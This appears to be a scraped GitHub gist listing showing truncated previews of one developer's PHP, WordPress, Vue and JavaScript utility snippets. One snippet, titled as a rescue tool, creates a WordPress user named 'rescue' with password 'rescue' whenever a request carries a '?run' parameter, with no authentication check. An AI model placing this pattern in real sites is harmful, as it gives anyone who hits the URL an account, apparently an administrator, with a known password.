Skip to content

Instantly share code, notes, and snippets.

<?php
/*
VC Additions file for Extensions
*/
namespace G\VC;
new Fonts;
class Fonts {
@Gkiokan
Gkiokan / json-encode-decode-class.php
Created January 8, 2018 10:04
JSON full encode decode with UTF-8 support
/*
Data Class
* * * * * * *
Author: Gkiokan
Comment:
Encode and Decode Your String / Object / Array with utf-8 force.
*/
class Data {
// Encode
@Gkiokan
Gkiokan / download_file_from_stream.js
Created May 14, 2018 12:19
JS Download DataStream
let blob = new Blob([this.stream], { type: 'application/csv' } )
let link = document.createElement('a')
link.href = window.URL.createObjectURL(blob)
link.download = this.get_download_name()
link.click()
@Gkiokan
Gkiokan / add_admin_user_rescue.php
Created May 15, 2018 07:55
Add WP Admin User programmatically (rescue user)
if(isset($_GET['run'])):
include_once './wp-blog-header.php';
$user = get_user_by('login', 'greyd');
if(!$user)
wp_insert_user([
'user_login' => 'rescue',
'user_url' => 'rescue',
'user_pass' => 'rescue',
@Gkiokan
Gkiokan / disable-rest-api.php
Last active July 25, 2018 11:24
WP Disable Rest API
<?php
/*
* Disable WP REST API JSON endpoints if user not logged in
*/
function chuck_disable_rest_endpoints( $access ) {
if( ! is_user_logged_in() ) {
return new WP_Error( 'rest_cannot_access', __( 'Only authenticated users can access the REST API.', 'disable-json-api' ), array( 'status' => rest_authorization_required_code() ) );
}
return $access;
}
@Gkiokan
Gkiokan / wp-cpt-custom-column.php
Created July 25, 2018 12:55
WP CPT Custom Columns
<?php
/*
File: WP Custom Columns Extension
Author: Gkiokan Sali
Date: 25.07.2018
*/
class CustomColumn {
@Gkiokan
Gkiokan / autoloadComponents.js
Created May 9, 2019 11:02
Autoload *.vue files as Component and register them
/*
Autoload all current vue files as component and register them by their name.
---
Author: Gkiokan Sali
Date: 2019-05-09
*/
import Vue from 'vue'
const requireContext = require.context('./', false, /.*\.vue$/)
@Gkiokan
Gkiokan / Token.php
Last active May 24, 2019 07:12
PHP Token Generator v2
<?php
/*
Gist: PHP Token Generator v2
Author: Gkiokan Sali
Date: 2019-05-24
Description: Generate a unique token with a special format.
*/
namespace App\Utils;
@Gkiokan
Gkiokan / webpack.mix.js
Created September 25, 2019 16:04
Laravel Mix Webpack configuration alias and chunkFile configuration
const mix = require('laravel-mix');
require('laravel-mix-merge-manifest');
const VuetifyLoaderPlugin = require('vuetify-loader/lib/plugin');
mix.setPublicPath('../../public').mergeManifest();
mix.js(__dirname + '/Resources/assets/src/main.js', 'modules/web/app.js')
.sass( __dirname + '/Resources/assets/sass/app.scss', 'modules/web/app.css');
@Gkiokan
Gkiokan / speech_prototype.js
Created November 14, 2019 16:06
WebKit Speech Recognition, playground with Google Chrome
var recognition = new webkitSpeechRecognition();
recognition.lang = 'de'; //Sprache auf Deutsch festlegen
recognition.continuous = true;
recognition.interimResults = true;
//recognition.onstart = function() { recognizing = true; };
//recognition.onerror = function(event) { console.log(event.error); };
//recognition.onend = function() { recognizing = false; };
recognition.onresult = function (event) {